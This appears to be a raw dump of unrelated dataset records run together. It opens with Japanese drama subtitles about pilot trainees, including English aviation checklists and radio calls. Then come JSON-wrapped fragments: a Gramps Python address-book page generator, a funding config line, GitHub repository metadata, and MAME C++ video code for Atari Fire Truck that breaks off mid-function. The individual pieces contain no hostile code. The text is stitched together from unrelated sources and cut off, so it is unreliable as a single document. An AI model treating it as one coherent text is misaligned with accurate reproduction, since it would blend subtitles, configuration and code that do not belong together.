そっか。\n\n463\n00:32:56,393 --> 00:32:59,396\nってか 基本中の基本だけどな\nそれ。\n\n464\n00:32:59,396 --> 00:33:01,398\n(山田)お前らって\nいつも飛ぶとき➡\n\n465\n00:33:01,398 --> 00:33:04,401\nそんな難しいこと考えて\n飛んでんの?\n\n466\n00:33:04,401 --> 00:33:06,401\n(岸井・諸星)当たり前だろ。\n当たり前でしょ。\n\n467\n00:33:09,406 --> 00:33:12,409\n(小鳥)わあ 外も こんな暗いんだ。\nおなか すいた。\n\n468\n00:33:12,409 --> 00:33:15,412\n(山田)ロイのやつ\nちゃんと 飯 作ってるかな。\n\n469\n00:33:15,412 --> 00:33:17,414\n千里。\nんっ?\n\n470\n00:33:17,414 --> 00:33:22,419\nあのさ ご飯の前に\nもう1回。 もう1回だけ➡\n\n471\n00:33:22,419 --> 00:33:24,421\nシミュレーター\n付き合ってくんない?\n\n472\n00:33:24,421 --> 00:33:26,423\nマジで?\n\n473\n00:33:26,423 --> 00:33:28,423\n…って嘘。 いいよ。\n\n474\n00:33:30,427 --> 00:33:50,481\n♬~\n\n475\n00:33:50,481 --> 00:34:01,492\n♬~\n\n476\n00:34:01,492 --> 00:34:03,494\n結構 いい感じじゃん。\n\n477\n00:34:03,494 --> 00:34:06,497\nでも 現実は\nこうは いかないんだよねぇ。\n\n478\n00:34:06,497 --> 00:34:08,499\n鳥も飛んでこないしね。\n\n479\n00:34:08,499 --> 00:34:11,502\nまだ根に持ってんだ。\n当たり前でしょ。\n\n480\n00:34:11,502 --> 00:34:14,505\n今度 邪魔したら\n焼き鳥だよ 焼き鳥。\n\n481\n00:34:14,505 --> 00:34:16,507\nフフ。\n\n482\n00:34:16,507 --> 00:34:18,507\nあ~あ。\n\n483\n00:34:20,511 --> 00:34:23,514\n何で 私 最初から\nこういうふう���➡\n\n484\n00:34:23,514 --> 00:34:25,516\nできなかったんだろう。\nえっ?\n\n485\n00:34:25,516 --> 00:34:28,519\nパーフェクトにばっかり\nこだわって➡\n\n486\n00:34:28,519 --> 00:34:31,522\n自分だけ先走っちゃってさ。\n\n487\n00:34:31,522 --> 00:34:35,526\n千里が前を走ってたから\nみんな頑張れたんだよ。\n\n488\n00:34:35,526 --> 00:34:37,528\n私なんて\n頼ってばっかだったじゃん。\n\n489\n00:34:37,528 --> 00:34:41,532\n質問すれば\n嫌な顔一つしな… くもないけど➡\n\n490\n00:34:41,532 --> 00:34:44,518\nちゃんと教えてくれたし。\n\n491\n00:34:44,518 --> 00:34:48,472\nでも 何か\nもったいないなって思う。\n\n492\n00:34:48,472 --> 00:34:51,475\nもっと みんなとの時間\n楽しめばよかった。\n\n493\n00:34:51,475 --> 00:34:55,475\n大丈夫だよ。 これからも\nずっと一緒なんだから。\n\n494\n00:34:58,482 --> 00:35:02,486\nハァ… 私 あんたみたいな性格に\n生まれたかったなぁ。\n\n495\n00:35:02,486 --> 00:35:05,489\nあっ。 今 バカにしたでしょ。\nしてないって。\n\n496\n00:35:05,489 --> 00:35:07,491\nホントに そう思う。\n\n497\n00:35:07,491 --> 00:35:11,495\n晴は偉いよ。\n誰に対しても裏表がなくて。\n\n498\n00:35:11,495 --> 00:35:13,497\nうれしいときも つらいときも➡\n\n499\n00:35:13,497 --> 00:35:16,500\n感情 丸出しで\n気持ち ぶつけて。\n\n500\n00:35:16,500 --> 00:35:18,502\n褒めてるのかな それ。\n\n501\n00:35:18,502 --> 00:35:21,502\n私にとっては\n最大の褒め言葉だって。\n\n502\n00:35:23,507 --> 00:35:30,507\nあんたみたいに 正直な人になら\n操縦かん 預けてもいいって思う。\n\n503\n00:35:34,518 --> 00:35:38,522\nじゃあ バディとして\n信頼してくれてるんだ。\n\n504\n00:35:38,522 --> 00:35:40,524\n悔しいけどね。\n\n505\n00:35:40,524 --> 00:35:42,524\nやりぃ!\n\n506\n00:36:48,492 --> 00:36:52,496\n[テレビ](男性の英語)\n\n507\n00:36:52,496 --> 00:36:55,499\n(山田)よっしゃ! 嵐 来た!\nこれ 雨 続く可能性あるで。\n\n508\n00:36:55,499 --> 00:36:57,501\n(小鳥)頼む あと1週間 続いて。\n\n509\n00:36:57,501 --> 00:36:59,503\nいっそのこと\n空港に直撃しないかな。\n\n510\n00:36:59,503 --> 00:37:02,506\n(岸井)いや 空港に直撃したら\n俺たちも危険だから。\n\n511\n00:37:02,506 --> 00:37:05,509\nもう大丈夫だよ。\n(小鳥)あっ そういえば 僕➡\n\n512\n00:37:05,509 --> 00:37:08,512\n昔 じいちゃんから 雨乞いのやり方\n聞いたことあるけど。\n\n513\n00:37:08,512 --> 00:37:10,514\n雨乞い?\n(小鳥)うん。\n\n514\n00:37:10,514 --> 00:37:12,516\n(山田)何で お前 それ\n早く 言わへんねん!\n\n515\n00:37:12,516 --> 00:37:14,518\n(諸星)どうやるんだよ?\n(小鳥)いや 確かさ➡\n\n516\n00:37:14,518 --> 00:37:20,524\nしめ縄で 円を作るんだよ。\nそこに お神酒を供えて➡\n\n517\n00:37:20,524 --> 00:37:24,528\n白装束の処女を踊らせるんだ。\n\n518\n00:37:24,528 --> 00:37:26,528\n処女?\n\n519\n00:37:32,536 --> 00:37:40,544\n(英語)\n\n520\n00:37:40,544 --> 00:37:43,547\n(山田)どっちや?\n(小鳥)普通に考えると…。\n\n521\n00:37:43,547 --> 00:37:46,567\n(岸井)やめろって。\nお前ら 想像すんなって!\n\n522\n00:37:46,567 --> 00:37:48,485\n止めんなよ。\n\n523\n00:37:48,485 --> 00:37:51,488\nお前は受かったからいいけど➡\n\n524\n00:37:51,488 --> 00:37:57,494\n俺らには 今\n雨乞いが必要なんだよ!\n\n525\n00:37:57,494 --> 00:38:00,497\n(息をのむ音)\n\n526\n00:38:00,497 --> 00:38:04,501\nよし。 もう1回やろう。\nうん。\n\n527\n00:38:04,501 --> 00:38:09,506\nBefore takeoff checklist.\nFuel selectors.\n\n528\n00:38:09,506 --> 00:38:11,508\nBoth ON.\nTrims.\n\n529\n00:38:11,508 --> 00:38:14,511\nSet.\nFlaps.\n\n530\n00:38:14,511 --> 00:38:17,514\nSet.\nMixtures.\n\n531\n00:38:17,514 --> 00:38:20,517\nRich.\nFuel Pumps.\n\n532\n00:38:20,517 --> 00:38:23,520\nBoth ON.\n\n533\n00:38:23,520 --> 00:38:26,523\nGrand Forks Tower\nNovember787➡\n\n534\n00:38:26,523 --> 00:38:29,526\nholding short of runway 35R\nready.\n\n535\n00:38:29,526 --> 00:38:32,529\nRoger. November787\nGrand Forks Tower➡\n\n536\n00:38:32,529 --> 00:38:35,532\nwind 330 at 15➡\n\n537\n00:38:35,532 --> 00:38:38,535\nrunway 35R\ncleared for takeoff.\n\n538\n00:38:38,535 --> 00:38:42,539\nRunway 35R\ncleared for takeoff.\n\n539\n00:38:42,539 --> 00:38:46,510\nブーン。\n\n540\n00:38:46,510 --> 00:38:50,510\nVR.\nRotation.\n\n541\n00:38:53,383 --> 00:38:55,383\nTakeoff.\n\n542\n00:39:01,391 --> 00:39:04,394\nClimb checklist\nlanding gear.\n\n543\n00:39:04,394 --> 00:39:07,397\nUP.\nFlaps.\n\n544\n00:39:07,397 --> 00:39:11,401\nUP.\nClimb Power Airspeed.\n\n545\n00:39:11,401 --> 00:39:14,404\nSet.\n\n546\n00:39:14,404 --> 00:39:17,407\nRequest radar vector to\ntraining area DELTA.\n\n547\n00:39:17,407 --> 00:39:19,409\nRadar contact.\nVector to DELTA➡\n\n548\n00:39:19,409 --> 00:39:23,413\nright heading 100 climb\nand maintain 3,000.\n\n549\n00:39:23,413 --> 00:39:29,419\nRoger right heading 100 climb\nand maintain 3,000.\n\n550\n00:39:29,419 --> 00:39:31,419\nRight side clear.\n\n551\n00:39:40,430 --> 00:39:44,434\nHeading 100\nreaching 3,000.\n\n552\n00:39:44,434 --> 00:39:47,471\nNovember787\nclimb and maintain 5,000.\n\n553\n00:39:47,471 --> 00:39:50,471\nClimb and maintain 5,000.\n\n554\n00:39:55,479 --> 00:39:57,481\nDescend and maintain 4,000.\n\n555\n00:39:57,481 --> 00:40:00,481\nDescend and maintain 4,000.\n\n556\n00:40:04,488 --> 00:40:10,494\nLeft heading 060.\nRoger left heading 060.\n\n557\n00:40:10,494 --> 00:40:12,494\nLeft clear.\n\n558\n00:40:15,499 --> 00:40:19,503\nRequest traffic information\nin area DELTA.\n\n559\n00:40:19,503 --> 00:40:23,507\nNo traffic reported\ncleared for local training.\n\n560\n00:40:23,507 --> 00:40:25,507\nRoger.\n\n561\n00:40:30,514 --> 00:40:32,516\nたった今 雲を抜けて➡\n\n562\n00:40:32,516 --> 00:40:36,520\n青空の下には\n雄大な山脈が広がっています。\n\n563\n00:40:36,520 --> 00:40:40,524\nどうぞ。\nちょっと 何 急に。\n\n564\n00:40:40,524 --> 00:40:46,513\nエリアデルタの このポイントはさ\n私が一番好きな場所なんだ。\n\n565\n00:40:46,513 --> 00:40:48,465\nそういうこと。\n\n566\n00:40:48,465 --> 00:40:51,468\n千里も 目 つぶってみてよ。\nえっ?\n\n567\n00:40:51,468 --> 00:40:53,468\nいいから。\n\n568\n00:40:59,476 --> 00:41:02,476\nつぶったよ。\nどう?\n\n569\n00:41:04,481 --> 00:41:07,484\nうん。 見える。\n\n570\n00:41:07,484 --> 00:41:11,484\n上空からの眺めは どうですか?\nどうぞ。\n\n571\n00:41:13,490 --> 00:41:15,492\n視界良好。\n\n572\n00:41:15,492 --> 00:41:19,496\n山脈の尾根まで\nしっかり見えます。\n\n573\n00:41:19,496 --> 00:41:29,506\n♬~\n\n574\n00:41:29,506 --> 00:41:42,519\n♬~\n\n575\n00:41:42,519 --> 00:41:46,456\nどこ行ったんや 嵐。\n(諸星)爽やかに晴れちゃって。\n\n576\n00:41:46,456 --> 00:41:49,459\n(小鳥)だから言ったんだよ。\n雨乞いしかないって。\n\n577\n00:41:49,459 --> 00:41:51,461\nこれ 前回より 風 強くない?\n\n578\n00:41:51,461 --> 00:41:54,464\nあの嵐\n追っ払ったくらいやからな。\n\n579\n00:41:54,464 --> 00:41:56,466\n(岸井)おい。\nお前ら この期に及んで➡\n\n580\n00:41:56,466 --> 00:41:59,469\nまだ ぐちぐち言ってんのかよ。\n\n581\n00:41:59,469 --> 00:42:03,473\nここまで来たら\nもう やるしかねえだろ。\n\n582\n00:42:03,473 --> 00:42:05,475\nだな。\n(山田)せやな。\n\n583\n00:42:05,475 --> 00:42:07,477\n(小鳥)うん。\n(岸井)行くか。\n\n584\n00:42:07,477 --> 00:42:09,477\n(山田)行こう。\n(岸井)しゃあ!\n\n585\n00:42:16,486 --> 00:42:18,488\n晴。\nんっ?\n\n586\n00:42:18,488 --> 00:42:21,491\n楽しもうね。\nうん。\n\n587\n00:42:21,491 --> 00:42:23,491\nそれしか考えてない。\n\n588\n00:42:30,500 --> 00:42:35,500\n(国木田)このフライトが\n正真正銘 ラストチャンスだ。\n\n589\n00:42:37,507 --> 00:42:40,510\n(国木田)不合格なら\nここで 脱落だ。➡\n\n590\n00:42:40,510 --> 00:42:43,513\nすぐに 荷物まとめて\n日本に帰ってもらうぞ。\n\n591\n00:42:43,513 --> 00:42:45,515\n(岸井)教官 このタイミングで\nその言い方は…。\n\n592\n00:42:45,515 --> 00:42:49,453\nこの程度の重圧に\n負けてるようじゃ➡\n\n593\n00:42:49,453 --> 00:42:51,455\nパイロットなんかなれねえぞ。\n\n594\n00:42:51,455 --> 00:42:56,460\nいいか。\n全員 気合 入れてけ。\n\n595\n00:42:56,460 --> 00:42:58,462\n(訓練生たち)はい!\n\n596\n00:42:58,462 --> 00:43:08,462\n♬~\n\n597\n00:43:41,505 --> 00:43:43,505\n≪千里!\n\n598\n00:43:57,454 --> 00:44:02,459\n(国木田)小田。\nここだかんな。 ここ。\n\n599\n00:44:02,459 --> 00:44:05,462\n分かってます。\n\n600\n00:44:05,462 --> 00:44:08,465\n(医師)ちょっと珍しいですね\nこんなこと。➡\n\n601\n00:44:08,465 --> 00:44:11,468\n篠崎さんにしては\n血圧も高めですし➡\n\n602\n00:44:11,468 --> 00:44:15,472\nコレステロールの数値も\nいつもより高いです。➡\n\n603\n00:44:15,472 --> 00:44:18,475\nまあ あくまで これは\n自主的な検査ですし➡\n\n604\n00:44:18,475 --> 00:44:23,480\nANAさんの検査の基準は\nクリアしてますので➡\n\n605\n00:44:23,480 --> 00:44:27,484\n格段 心配することは\nないと思いますけど。➡\n\n606\n00:44:27,484 --> 00:44:29,486\nどうしました?\n\n607\n00:44:29,486 --> 00:44:35,492\nえっ? いや 年の割には\n頑張ってるなって。\n\n608\n00:44:35,492 --> 00:44:37,492\n感心しましたよ。\n\n609\n00:44:44,501 --> 00:44:46,501\nRoger.\n\n610\n00:44:56,446 --> 00:44:58,446\nYes.\n\n611\n00:45:00,450 --> 00:45:02,450\nあっ。\n\n612\n00:45:04,454 --> 00:45:06,454\n(エリック)Oh.\n\n613\n00:45:08,458 --> 00:45:10,458\n「TRAFFIC TRAFFIC」\n\n614\n00:45:26,476 --> 00:45:43,493\n♬~\n\n615\n00:45:43,493 --> 00:45:46,493\n(山田)あっ 来た。\nあれ 千里ちゃうか?\n\n616\n00:45:53,436 --> 00:45:57,436\n頼むぞ。 風なんか気にすんな。\n\n617\n00:45:59,442 --> 00:46:01,442\n落ち着いて。\n\n618\n00:46:11,454 --> 00:46:14,457\n(訓練生たち)よし!\nやった ぴったり!\n\n619\n00:46:14,457 --> 00:46:16,459\nイェーイ!\n(訓練生たちの歓声)\n\n620\n00:46:16,459 --> 00:46:20,463\n(訓練生たちの歓声)\n\n621\n00:46:20,463 --> 00:46:22,463\n(客室乗務員)おはようございます。\n(篠崎)おはよう。\n\n622\n00:46:28,471 --> 00:46:30,473\n(職員)おはようございます。\n(篠崎)おはよう。\n\n623\n00:46:30,473 --> 00:46:46,489\n♬~\n\n624\n00:46:46,489 --> 00:46:48,491\n(職員)どうしました?\n\n625\n00:46:48,491 --> 00:46:52,495\n(篠崎)ごめん。 悪いけど\n今日 飛ぶの やめるわ。\n\n626\n00:46:52,495 --> 00:46:55,498\n(職員)えっ?\n\n627\n00:46:55,498 --> 00:46:58,498\nいや ちょっと… 篠崎さん?\n\n628\n00:47:06,509 --> 00:47:08,511\nRoger.\n\n629\n00:47:08,511 --> 00:47:28,531\n♬~\n\n630\n00:47:28,531 --> 00:47:30,531\nOK。\n\n631\n00:47:36,539 --> 00:47:40,543\n視界良好。 山脈の尾根まで\nはっきり見えます。\n\n632\n00:47:40,543 --> 00:47:42,545\nWhat?\n\n633\n00:47:42,545 --> 00:47:44,547\n何 言ってんだ?\nフードしてんのに。\n\n634\n00:47:44,547 --> 00:48:00,497\n♬~\n\n635\n00:48:00,497 --> 00:48:02,499\nおおっ 来たよ!\n\n636\n00:48:02,499 --> 00:48:22,519\n♬~\n\n637\n00:48:22,519 --> 00:48:27,524\n♬~\n\n638\n00:48:27,524 --> 00:48:29,526\n晴!\n(山田)晴!\n\n639\n00:48:29,526 --> 00:48:31,528\n晴!\n(諸星)晴!\n\n640\n00:48:31,528 --> 00:48:33,530\n晴~!\n\n641\n00:48:33,530 --> 00:48:53,483\n♬~\n\n642\n00:48:53,483 --> 00:48:57,487\n結構 ヤバかったけど\n大丈夫やんな? あれくらい。\n\n643\n00:48:57,487 --> 00:49:00,490\n教官が どう判断するかだけどな。\n\n644\n00:49:00,490 --> 00:49:20,510\n♬~\n\n645\n00:49:20,510 --> 00:49:28,518\n♬~\n\n646\n00:49:28,518 --> 00:49:30,520\nフゥー。\n\n647\n00:49:30,520 --> 00:49:42,520\n♬~\n\n648\n00:49:44,534 --> 00:49:46,553\n(岸井)大丈夫だよ。\n自信 持てって。➡\n\n649\n00:49:46,553 --> 00:49:48,471\nやるだけやったんだからさ。➡\n\n650\n00:49:48,471 --> 00:49:54,471\n俺が見てたかぎり 全然 大丈夫。\n絶対 全員 合格できるって。\n\n651\n00:49:58,481 --> 00:50:00,481\n≪(ドアの開く音)\n\n652\n00:50:15,498 --> 00:50:17,498\n合格者は 4名だ。\n\n653\n00:50:20,503 --> 00:50:25,503\n残念だが 1名 脱落した。\n\n654\n00:50:54,470 --> 00:50:58,470\n小田。 不合格だ。\n\n655\n00:51:02,478 --> 00:51:07,478\nえっ…。 何で?\n\n"} +{"text": "# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n#\n# Gramps - a GTK+/GNOME based genealogy program\n#\n# Copyright (C) 2000-2007 Donald N. Allingham\n# Copyright (C) 2007 Johan Gonqvist \n# Copyright (C) 2007-2009 Gary Burton \n# Copyright (C) 2007-2009 Stephane Charette \n# Copyright (C) 2008-2009 Brian G. Matherly\n# Copyright (C) 2008 Jason M. Simanek \n# Copyright (C) 2008-2011 Rob G. Healey \n# Copyright (C) 2010 Doug Blank \n# Copyright (C) 2010 Jakim Friant\n# Copyright (C) 2010- Serge Noiraud\n# Copyright (C) 2011 Tim G L Lyons\n# Copyright (C) 2013 Benny Malengier\n# Copyright (C) 2016 Allen Crider\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\n\"\"\"\nNarrative Web Page generator.\n\nClasse:\n AddressBookListPage\n\"\"\"\n#------------------------------------------------\n# python modules\n#------------------------------------------------\nfrom decimal import getcontext\nimport logging\n\n#------------------------------------------------\n# Gramps module\n#------------------------------------------------\nfrom gramps.gen.const import GRAMPS_LOCALE as glocale\nfrom gramps.plugins.lib.libhtml import Html\n\n#------------------------------------------------\n# specific narrative web import\n#------------------------------------------------\nfrom gramps.plugins.webreport.basepage import BasePage\nfrom gramps.plugins.webreport.common import FULLCLEAR\n\nLOG = logging.getLogger(\".NarrativeWeb\")\n_ = glocale.translation.sgettext\ngetcontext().prec = 8\n\nclass AddressBookListPage(BasePage):\n \"\"\"\n Create the index for addresses.\n \"\"\"\n def __init__(self, report, title, has_url_addr_res):\n \"\"\"\n @param: report -- The instance of the main report class\n for this report\n @param: title -- Is the title of the web page\n @param: has_url_addr_res -- The url, address and residence to use\n for the report\n \"\"\"\n BasePage.__init__(self, report, title)\n\n # Name the file, and create it\n output_file, sio = self.report.create_file(\"addressbook\")\n\n # Add xml, doctype, meta and stylesheets\n result = self.write_header(_(\"Address Book\"))\n addressbooklistpage, dummy_head, dummy_body, outerwrapper = result\n\n # begin AddressBookList division\n with Html(\"div\", class_=\"content\",\n id=\"AddressBookList\") as addressbooklist:\n outerwrapper += addressbooklist\n\n # Address Book Page message\n msg = _(\"This page contains an index of all the individuals in \"\n \"the database, sorted by their surname, with one of the \"\n \"following: Address, Residence, or Web Links. \"\n \"Selecting the person’s name will take you \"\n \"to their individual Address Book page.\")\n addressbooklist += Html(\"p\", msg, id=\"description\")\n\n # begin Address Book table\n with Html(\"table\",\n class_=\"infolist primobjlist addressbook\") as table:\n addressbooklist += table\n\n thead = Html(\"thead\")\n table += thead\n\n trow = Html(\"tr\")\n thead += trow\n\n trow.extend(\n Html(\"th\", label, class_=colclass, inline=True)\n for (label, colclass) in [\n [\" \", \"ColumnRowLabel\"],\n [_(\"Full Name\"), \"ColumnName\"],\n [_(\"Address\"), \"ColumnAddress\"],\n [_(\"Residence\"), \"ColumnResidence\"],\n [_(\"Web Links\"), \"ColumnWebLinks\"]\n ]\n )\n\n tbody = Html(\"tbody\")\n table += tbody\n\n index = 1\n for (dummy_sort_name, person_handle,\n has_add, has_res,\n has_url) in has_url_addr_res:\n\n address = None\n residence = None\n weblinks = None\n\n # has address but no residence event\n if has_add and not has_res:\n address = \"X\"\n\n # has residence, but no addresses\n elif has_res and not has_add:\n residence = \"X\"\n\n # has residence and addresses too\n elif has_add and has_res:\n address = \"X\"\n residence = \"X\"\n\n # has Web Links\n if has_url:\n weblinks = \"X\"\n\n trow = Html(\"tr\")\n tbody += trow\n\n trow.extend(\n Html(\"td\", data or \" \", class_=colclass,\n inline=True)\n for (colclass, data) in [\n [\"ColumnRowLabel\", index],\n [\"ColumnName\",\n self.addressbook_link(person_handle)],\n [\"ColumnAddress\", address],\n [\"ColumnResidence\", residence],\n [\"ColumnWebLinks\", weblinks]\n ]\n )\n index += 1\n\n # Add footer and clearline\n footer = self.write_footer(None)\n outerwrapper += (FULLCLEAR, footer)\n\n # send the page out for processing\n # and close the file\n self.xhtml_writer(addressbooklistpage, output_file, sio, 0)\n"} +{"text": "custom: https://rec98.nmlgc.net\n"} +{"text": "{\n \"created_at\": \"2015-02-27T22:29:15.516618\", \n \"description\": \"Ruby Client for the Spotify Web API\", \n \"fork\": false, \n \"full_name\": \"icoretech/spotify-client\", \n \"language\": \"Ruby\", \n \"updated_at\": \"2015-02-27T23:44:13.121051\"\n}"} +{"text": "// license:BSD-3-Clause\n// copyright-holders:Phil Stroffolino\n/***************************************************************************\n\nAtari Fire Truck + Super Bug + Monte Carlo video emulation\n\n***************************************************************************/\n\n#include \"emu.h\"\n#include \"includes/firetrk.h\"\n\nstatic const rectangle playfield_window(0x02a, 0x115, 0x000, 0x0ff);\n\n\nvoid firetrk_state::firetrk_palette(palette_device &palette)\n{\n\tstatic constexpr uint8_t colortable_source[] =\n\t{\n\t\t0, 0, 1, 0,\n\t\t2, 0, 3, 0,\n\t\t3, 3, 2, 3,\n\t\t1, 3, 0, 3,\n\t\t0, 0, 1, 0,\n\t\t2, 0, 0, 3,\n\t\t3, 0, 0, 3\n\t};\n\tstatic constexpr rgb_t palette_source[] =\n\t{\n\t\trgb_t::black(),\n\t\trgb_t(0x5b, 0x5b, 0x5b),\n\t\trgb_t(0xa4, 0xa4, 0xa4),\n\t\trgb_t::white()\n\t};\n\n\tm_color1_mask = m_color2_mask = 0;\n\n\tfor (int i = 0; i < ARRAY_LENGTH(colortable_source); i++)\n\t{\n\t\tuint8_t color = colortable_source[i];\n\n\t\tif (color == 1)\n\t\t\tm_color1_mask |= 1 << i;\n\t\telse if (color == 2)\n\t\t\tm_color2_mask |= 1 << i;\n\n\t\tpalette.set_pen_color(i, palette_source[color]);\n\t}\n}\n\n\nvoid firetrk_state::prom_to_palette(int number, uint8_t val)\n{\n\tm_palette->set_pen_color(number, rgb_t(pal1bit(val >> 2), pal1bit(val >> 1), pal1bit(val >> 0)));\n}\n\n\nvoid firetrk_state::montecar_palette(palette_device &palette)\n{\n\tconst uint8_t *color_prom = memregion(\"proms\")->base();\n\n\tstatic constexpr uint8_t colortable_source[] =\n\t{\n\t\t0x00, 0x00, 0x00, 0x01,\n\t\t0x00, 0x02, 0x00, 0x03,\n\t\t0x03, 0x03, 0x03, 0x02,\n\t\t0x03, 0x01, 0x03, 0x00,\n\t\t0x00, 0x00, 0x02, 0x00,\n\t\t0x02, 0x01, 0x02, 0x02,\n\t\t0x00, 0x10, 0x20, 0x30,\n\t\t0x00, 0x04, 0x08, 0x0c,\n\t\t0x00, 0x44, 0x48, 0x4c,\n\t\t0x00, 0x84, 0x88, 0x8c,\n\t\t0x00, 0xc4, 0xc8, 0xcc\n\t};\n\n\t/*\n\t * The color PROM is addressed as follows:\n\t *\n\t * A0 => PLAYFIELD 1\n\t * A1 => PLAYFIELD 2\n\t * A2 => DRONE 1\n\t * A3 => DRONE 2\n\t * A4 => CAR 1\n\t * A5 => CAR 2\n\t * A6 => DRONE COLOR 1\n\t * A7 => DRONE COLOR 2\n\t * A8 => PLAYFIELD WINDOW\n\t *\n\t * This driver hard-codes some behavior which actually depends\n\t * on the PROM, like priorities, clipping and transparency.\n\t *\n\t */\n\n\tm_color1_mask = m_color2_mask = 0;\n\n\tfor (int i = 0; i < ARRAY_LENGTH(colortable_source); i++)\n\t{\n\t\tuint8_t color = colortable_source[i];\n\n\t\tif (color == 1)\n\t\t\tm_color1_mask |= 1 << i;\n\t\telse if (color == 2)\n\t\t\tm_color2_mask |= 1 << i;\n\n\t\tprom_to_palette(i, color_prom[0x100 + colortable_source[i]]);\n\t}\n\n\tpalette.set_pen_color(ARRAY_LENGTH(colortable_source) + 0, rgb_t::black());\n\tpalette.set_pen_color(ARRAY_LENGTH(colortable_source) + 1, rgb_t::white());\n}\n\n\nTILE_GET_INFO_MEMBER(firetrk_state::firetrk_get_tile_info1)\n{\n\tint code = m_playfield_ram[tile_index] & 0x3f;\n\tint color = (m_playfield_ram[tile_index] >> 6) & 0x03;\n\n\tif (*m_blink && (code >= 0x04) && (code <= 0x0b))\n\t\tcolor = 0;\n\n\tif (m_flash)\n\t\tcolor = color | 0x04;\n\n\ttileinfo.set(1, code, color, 0);\n}\n\n\nTILE_GET_INFO_MEMBER(firetrk_state::superbug_get_tile_info1)\n{\n\tint code = m_playfield_ram[tile_index] & 0x3f;\n\tint color = (m_playfield_ram[tile_index] >> 6) & 0x03;\n\n\tif (*m_blink && (code >= 0x08) && (code <= 0x0f))\n\t\tcolor = 0;\n\n\tif (m_flash)\n\t\tcolor = color | 0x04;\n\n\ttileinfo.set(1, code, color, 0);\n}\n\n\nTILE_GET_INFO_MEMBER(firetrk_state::montecar_get_tile_info1)\n{\n\tint code = m_playfield_ram[tile_index] & 0x3f;\n\tint color = (m_playfield_ram[tile_index] >> 6) & 0x03;\n\n\tif (m_flash)\n\t\tcolor = color | 0x04;\n\n\ttileinfo.set(1, code, color, 0);\n}\n\n\nTILE_GET_INFO_MEMBER(firetrk_state::firetrk_get_tile_info2)\n{\n\tuint8_t code = m_playfield_ram[tile_index] & 0x3f;\n\tint color = 0;\n\n\t/* palette 1 for crash and palette 2 for skid */\n\tif (((code & 0x30) != 0x00) || ((code & 0x0c) == 0x00))\n\t\tcolor = 1; /* palette 0, 1 */\n\n\tif ((code & 0x3c) == 0x0c)\n\t\tcolor = 2; /* palette 0, 2 */\n\n\ttileinfo.set(2, code, color, 0);\n}\n\n\nTILE_GET_INFO_MEMBER(firetrk_state::superbug_get_tile_info2)\n{\n\tuint8_t code = m_playfield_ram[tile_index] & 0x3f;\n\tint color = 0;\n\n\t/* palette 1 for crash and palette 2 for skid */\n\tif ((code & 0x30) != 0x00)\n\t\tcolor = 1; /* palette 0, 1 */\n\n\tif ((code & 0x38) == 0x00)\n\t\tcolor = 2; /* palette 0, 2 */\n\n\ttileinfo.set(2, code, color, 0);\n}\n\n\nTILE_GET_INFO_MEMBER(firetrk_state::montecar_get_tile_info2)\n{\n\tuint8_t code = m_playfield_ram[tile_index];\n\tint color = 0;\n\n\t/* palette 1 for crash and palette 2 for skid */\n\tif (((code & 0xc0) == 0x40) || ((code & 0xc0) == 0x80))\n\t\tcolor = 2; /* palette 2, 1 */\n\n\tif ((code & 0xc0) == 0xc0)\n\t\tcolor = 1; /* palette 2, 0 */\n\n\tif ((code & 0xc0) == 0x00)\n\t\tcolor = 3; /* palette 2, 2 */\n\n\tif ((code & 0x30) == 0x30)\n\t\tcolor = 0; /* palette 0, 0 */\n\n\ttileinfo.set(2, code & 0x3f, color, 0);\n}\n\n\nvoid firetrk_state::video_start()\n{\n\tm_screen->register_screen_bitmap(m_helper1);\n\tm_screen->register_screen_bitmap(m_helper2);\n\n\tm_tilemap1 = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(firetrk_state::firetrk_get_tile_info1)), TILEMAP_SCAN_ROWS, 16, 16, 16, 16);\n\tm_tilemap2 = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(firetrk_state::firetrk_get_tile_info2)), TILEMAP_SCAN_ROWS, 16, 16, 16, 16);\n}\n\n\nVIDEO_START_MEMBER(firetrk_state,superbug)\n{\n\tm_screen->register_screen_bitmap(m_helper1);\n\tm_screen->register_screen_bitmap(m_helper2);\n\n\tm_tilemap1 = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(firetrk_state::superbug_get_tile_info1)), TILEMAP_SCAN_ROWS, 16, 16, 16, 16);\n\tm_tilemap2 = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(firetrk_state::superbug_get_tile_info2)), TILEMAP_SCAN_ROWS, 16, 16, 16, 16);\n}\n\n\nVIDEO_START_MEMBER(firetrk_state,montecar)\n{\n\tm_screen->register_screen_bitmap(m_helper1);\n\tm_screen->register_screen_bitmap(m_helper2);\n\n\tm_tilemap1 = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(firetrk_state::montecar_get_tile_info1)), TILEMAP_SCAN_ROWS, 16, 16, 16, 16);\n\tm_tilemap2 = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(firetrk_state::montecar_get_tile_info2)), TILEMAP_SCAN_ROWS, 16, 16, 16, 16);\n}\n\n\nvoid firetrk_state::firetrk_draw_car(bitmap_ind16 &bitmap, const rectangle &cliprect, int which, int flash)\n{\n\tint gfx_bank, code, color, flip_x, flip_y, x, y;\n\n\tif (which)\n\t{\n\t\tgfx_bank = 5;\n\t\tcode = *m_drone_rot & 0x07;\n\t\tcolor = flash ? 1 : 0;\n\t\tflip_x = *m_drone_rot & 0x08;\n\t\tflip_y = *m_drone_rot & 0x10;\n\t\tx = (flip_x ? *m_drone_x - 63 : 192 - *m_drone_x) + 36;\n\t\ty = flip_y ? *m_drone_y - 63 : 192 - *m_drone_y;\n\t}\n\telse\n\t{\n\t\tgfx_bank = (*m_car_rot & 0x10) ? 4 : 3;\n\t\tcode = *m_car_rot & 0x03;\n\t\tcolor = flash ? 1 : 0;\n\t\tflip_x = 